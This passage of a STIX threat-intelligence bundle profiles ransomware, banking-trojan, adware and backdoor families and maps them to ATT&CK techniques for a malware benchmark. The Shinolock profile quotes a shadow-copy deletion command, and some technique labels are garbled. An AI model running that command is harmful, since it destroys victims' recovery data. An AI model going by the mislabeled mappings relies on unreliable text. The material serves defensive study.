      "description": "<h3>Executive Summary</h3>\nShezkrypt is a destructive ransomware and cryptor family designed to extort financial payment from victims by irreparably encrypting their personal and corporate data. It targets Windows operating systems and is frequently deployed as the final payload in targeted, human-operated ransomware campaigns, following successful network penetration and lateral movement.\n\n<h3>Infection Vector and Technical Operations</h3>\nShezkrypt typically gains entry into a network via compromised Remote Desktop Protocol (RDP) endpoints, exploitation of internet-facing vulnerabilities (e.g., in unpatched VPN appliances), or through initial access brokers (IABs) who sell compromised credentials.\n\nOnce executed with administrative privileges, Shezkrypt's operational flow includes:\n<ul>\n<li><strong>Defense Impairment:</strong> It actively searches for and terminates processes associated with endpoint detection and response (EDR) agents, antivirus software, and database management systems (to unlock database files for encryption).</li>\n<li><strong>Shadow Copy Destruction:</strong> Utilizing Windows Management Instrumentation (WMI) or native command-line tools (`vssadmin`), Shezkrypt deletes all Volume Shadow Copies and disables Windows Recovery Environment (WinRE) to thwart recovery efforts.</li>\n<li><strong>Data Encryption:</strong> The malware utilizes a robust hybrid encryption scheme (typically AES for files, with the AES keys encrypted by an embedded RSA public key). Encrypted files are appended with a Shezkrypt-specific extension.</li>\n</ul>\n\n<h3>Security and Operational Impact</h3>\nA Shezkrypt infection results in a critical loss of data availability. The encryption algorithms utilized are generally considered unbreakable without the attacker's corresponding private RSA key. This leads to massive operational downtime, financial loss, and potential regulatory fines for data breaches.\n\n<h3>Resilience and Incident Response</h3>\n<ul>\n<li><strong>Air-Gapped Backups:</strong> Implement the 3-2-1 backup strategy. Ensure that critical data backups are completely isolated (air-gapped) from the production network to prevent the ransomware from encrypting the backup repositories.</li>\n<li><strong>RDP Hardening:</strong> Never expose RDP (Port 3389) to the public internet. Mandate the use of a secure VPN and Multi-Factor Authentication (MFA) for all remote administrative access.</li>\n<li><strong>Network Segmentation:</strong> Isolate critical servers and databases onto separate VLANs with strict firewall rules to impede the lateral movement of ransomware across the enterprise.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Shezkrypt",
        "Trojan-Ransom.Shezkrypt",
        "Win32/Shezkrypt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shezkrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shezkrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19f6891a-417c-5964-83d8-ffcc6ec927b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35b066dc-57ca-5acc-bc0c-7ba05678e644",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shezkrypt exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4104b7b3-4660-57c1-a31d-0801e15ea328",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35b066dc-57ca-5acc-bc0c-7ba05678e644",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shezkrypt exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57735b2a-9182-530b-9d57-26312254e22a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35b066dc-57ca-5acc-bc0c-7ba05678e644",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shezkrypt exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d058db78-04e8-50e9-817b-8d6eae02c2b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35b066dc-57ca-5acc-bc0c-7ba05678e644",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shezkrypt exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1f141b75-e757-5bdc-9e13-a230f3db37bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shinolock",
      "description": "<h3>Executive Summary</h3>\nShinolock is a variant of ransomware designed to extort financial payment from victims by encrypting their critical data and demanding cryptocurrency in exchange for the decryption key. It aggressively targets both individual users and enterprise networks, causing severe operational disruption and data loss.\n\n<h3>Technical Execution and Encryption Process</h3>\nShinolock typically gains initial access through compromised Remote Desktop Protocol (RDP) instances (due to weak credentials or missing patches) or via malicious spam campaigns.\n\nOnce a foothold is established, Shinolock executes a highly destructive operational flow:\n<ul>\n<li><strong>Defense Evasion:</strong> It actively terminates running security software, disables Windows Defender, and halts database services (like SQL) to unlock files for encryption.</li>\n<li><strong>Shadow Copy Deletion:</strong> To prevent easy recovery, Shinolock executes commands (e.g., `vssadmin.exe Delete Shadows /All /Quiet`) to destroy local Windows Volume Shadow Copies and backup catalogs.</li>\n<li><strong>Encryption:</strong> It utilizes strong, military-grade encryption algorithms (such as AES-256 combined with RSA) to encrypt a wide range of file types (documents, databases, images). Encrypted files are typically appended with a specific, Shinolock-related extension.</li>\n<li><strong>Extortion:</strong> A ransom note\u2014usually a `.txt` or `.html` file\u2014is dropped into every directory containing encrypted data, providing instructions on how to pay the attackers via Bitcoin or Monero to obtain the decryption tool.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA Shinolock infection represents a catastrophic security failure. Without offline backups, organizations face the total loss of encrypted data, extended operational downtime, and severe reputational damage. Paying the ransom is strongly discouraged by law enforcement, as it funds criminal enterprises and does not guarantee data recovery.\n\n<h3>Resilience and Remediation Strategies</h3>\n<ul>\n<li><strong>Immutable Backups:</strong> Maintain robust, offline, and immutable backups. Ensure the backup infrastructure is completely segregated from the primary network to prevent Shinolock from encrypting the backups as well.</li>\n<li><strong>RDP Security:</strong> Secure Remote Desktop Protocol by placing it behind a VPN, enforcing Multi-Factor Authentication (MFA), and strictly limiting access via firewall rules.</li>\n<li><strong>Behavioral EDR:</strong> Deploy EDR solutions configured to automatically block processes that attempt mass file modifications or the execution of `vssadmin.exe` for shadow copy deletion.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Shinolock",
        "Win32/Shinolock",
        "Trojan-Ransom.Shinolock"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shinolock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shinolock"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4602e6ed-3a0d-5822-b226-e0eef4a2e24d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f141b75-e757-5bdc-9e13-a230f3db37bc",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shinolock exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79e88884-d7d2-5310-ae62-124617ec05d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f141b75-e757-5bdc-9e13-a230f3db37bc",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shinolock exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b1ac0d8-28ca-50fc-ad5d-cc2483d2a89f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f141b75-e757-5bdc-9e13-a230f3db37bc",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shinolock exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff9088a6-0f61-540d-be68-4ab179a6d0ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f141b75-e757-5bdc-9e13-a230f3db37bc",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shinolock exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aea4e6b9-0c8e-51b2-b9a6-259a79210152",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shiotob",
      "description": "Shiotob (extensively documented in threat intelligence literature under the names URLZone and Bebloh, with AV detections including Trojan:Win32/Shiotob and Trojan-Banker.Win32.Shiotob) is a landmark, highly sophisticated banking trojan and botnet platform first analyzed by Trusteer in 2009. Renowned for pioneering automated Man-in-the-Browser (MitB) financial manipulation, Shiotob dynamically injects into web browsers (Internet Explorer, Firefox) to calculate available victim bank balances and initiate fraudulent money-mule wire transfers in real time. Crucially, Shiotob intercepts and alters the HTML response rendered on screen, rewriting the user's online transaction receipt and account balance so the victim sees no discrepancy while funds are stolen. It features custom polymorphic packers, encrypted C2 communications, and domain generation algorithms. (Observed samples in benchmark: 47)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Shiotob",
        "Trojan-Banker.Win32.Shiotob",
        "URLZone",
        "Bebloh",
        "Win32/Shiotob"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shiotob",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shiotob"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b8dd3d0-c234-53c0-8c43-fc16866897ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aea4e6b9-0c8e-51b2-b9a6-259a79210152",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiotob exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86b3c2a9-e78c-54e8-965e-a915041aa1fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aea4e6b9-0c8e-51b2-b9a6-259a79210152",
      "target_ref": "attack-pattern--cc0b5894-87c7-5a25-90e8-09cb9907d5d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiotob exhibits technique T1564.001 (Hide Artifacts: Hidden Files and Directories)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27cfe19d-3713-5cac-a5b1-07215bfde4e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aea4e6b9-0c8e-51b2-b9a6-259a79210152",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiotob exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a99d9fd-a6c6-513f-bccb-29993ec3e1d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aea4e6b9-0c8e-51b2-b9a6-259a79210152",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiotob exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e2209ee-338b-5de0-aa5f-c0c7a6e5f443",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aea4e6b9-0c8e-51b2-b9a6-259a79210152",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiotob exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dd08c25e-377e-5cd5-983c-cee6d4860da7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shipup",
      "description": "ShipUp (tracked across threat intelligence feeds as Adware:Win32/ShipUp, Trojan.Win32.ShipUp, and Win32/Shipup) is a deceptive adware engine and background payload downloader analyzed by Microsoft Defender and Kaspersky. Spreading via bundled software installers, cracked software portals, and deceptive online advertisements, ShipUp installs background monitoring components that track user web browsing behavior, collect system telemetry, and inject unwanted commercial pop-up advertisements. In addition to advertising injection, ShipUp functions as a persistent secondary downloader, maintaining contact with remote command-and-control servers to retrieve and deploy auxiliary potentially unwanted applications (PUAs) and toolbars. It establishes persistence by writing startup entries to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and creating scheduled maintenance jobs via Windows Task Scheduler. (Observed samples in benchmark: 896)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/ShipUp",
        "Trojan.Win32.ShipUp",
        "Win32/Shipup",
        "PUP.Optional.ShipUp",
        "ShipUp.Downloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shipup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shipup"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38cfc7c3-ee0f-5162-b518-2667c3743012",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd08c25e-377e-5cd5-983c-cee6d4860da7",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shipup exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--204ca9fb-4043-5917-b96e-39b98bbc64d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd08c25e-377e-5cd5-983c-cee6d4860da7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shipup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a632ae89-29a7-532c-b08e-eb153602fd33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd08c25e-377e-5cd5-983c-cee6d4860da7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shipup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c32048a5-8fd8-59ce-a450-9fc6aebfb772",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd08c25e-377e-5cd5-983c-cee6d4860da7",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shipup exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e879cd88-e55e-5cab-97c2-5689472201cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd08c25e-377e-5cd5-983c-cee6d4860da7",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shipup exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c3909b7-9dbf-52fc-bf08-94d0cdd1219e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd08c25e-377e-5cd5-983c-cee6d4860da7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shipup exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38906363-3bff-552f-9e5a-0c7e8e393dbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd08c25e-377e-5cd5-983c-cee6d4860da7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shipup exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--41df843d-f671-59c3-99d4-e4ac1170b751",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shiz",
      "description": "Trojan-Banker:Win32/Shiz is a notorious, historically significant Russian banking trojan that served as a critical evolutionary link connecting early Zeus and Gozi implementations with subsequent crimeware families including Carberp, Vawtrak (Neverquest), and Snifula. First detected around 2010, Shiz specialized in Man-in-the-Browser (MitB) financial theft, intercepting online banking credentials, digital security certificates, and transaction authentication codes from major commercial banks across Russia, Europe, and the United States. Shiz achieves stealth by injecting into svchost.exe, explorer.exe, and web browsers, hooking Windows networking APIs (wininet.dll, ws2_32.dll, and nss3.dll) to intercept plaintext HTTP and HTTPS sessions prior to encryption. This allows the trojan to dynamically alter banking DOM interfaces, presenting deceptive form fields to harvest one-time passwords (OTP). Shiz pioneered advanced sandbox evasion routines, including encrypted registry storage for configuration files, virtual machine detection, and dynamic peer-assisted C2 communication using AES and RC4 cryptography. Multiple criminal syndicates operating Shiz were dismantled during Russian Ministry of Internal Affairs (MVD) investigations between 2012 and 2014. (Observed samples in benchmark: 302)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Shiz",
        "Win32.Shiz",
        "Trojan-Banker.Win32.Shiz",
        "Shiz.a",
        "Shiz.b",
        "Shiz_Banker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shiz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shiz"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dab714c-086d-56c7-930e-6443be3fe5de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41df843d-f671-59c3-99d4-e4ac1170b751",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiz exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b77bc4a2-8ea8-5fab-a253-f43d809f7b44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41df843d-f671-59c3-99d4-e4ac1170b751",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiz exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6704007-0803-5b9c-83d4-7a58feb65b12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41df843d-f671-59c3-99d4-e4ac1170b751",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiz exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ebeeaec-c72b-5852-9a4c-5a2f3cf09476",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41df843d-f671-59c3-99d4-e4ac1170b751",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiz exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8c022f2-4034-59b1-b0e9-05e0a4b784a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41df843d-f671-59c3-99d4-e4ac1170b751",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiz exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0c97dfc-98d0-587b-a497-8175f1446451",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41df843d-f671-59c3-99d4-e4ac1170b751",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shiz exhibits technique T1562.001 (Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--16f720aa-61e5-5d90-a28d-e3d05c576bc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shodi",
      "description": "Shodi (cataloged across security vendors under detections including Backdoor:Win32/Shodi, Trojan:Win32/Shodi, and BackDoor.Shohdi) is a classic Windows remote access trojan and backdoor active since 2008. Designed to establish persistent, covert remote control over compromised systems, Shodi opens an unauthenticated listening backdoor on dedicated network ports (most commonly TCP port 7352). This allows remote attackers to connect directly to the infected host, execute arbitrary command shell instructions, navigate the local filesystem, upload and download files, and terminate running processes. In addition, Shodi modifies system registry settings under Windows CurrentVersion\\Run to ensure autostart across reboots and has been observed acting as a secondary staging platform for dropping ransomware precursors, keyloggers, and network scanning utilities. (Observed samples in benchmark: 76)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Shodi",
        "Trojan:Win32/Shodi",
        "BackDoor.Shohdi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shodi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shodi"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfb94811-559f-5c6c-b333-e9f07b6a06dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16f720aa-61e5-5d90-a28d-e3d05c576bc0",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shodi exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56366b21-1ae6-57e8-a235-b33fe0a75c8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16f720aa-61e5-5d90-a28d-e3d05c576bc0",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shodi exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2efdb173-2e62-55af-b39d-45d12abd466e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16f720aa-61e5-5d90-a28d-e3d05c576bc0",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shodi exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f3dba59-3d6b-58ef-8d33-482f1ffaf1cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16f720aa-61e5-5d90-a28d-e3d05c576bc0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shodi exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff050215-5fdb-5d51-9091-7f8bc15ef13b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16f720aa-61e5-5d90-a28d-e3d05c576bc0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shodi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--932dd826-6d08-51cd-9abb-f8144639ecbc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shopbot",
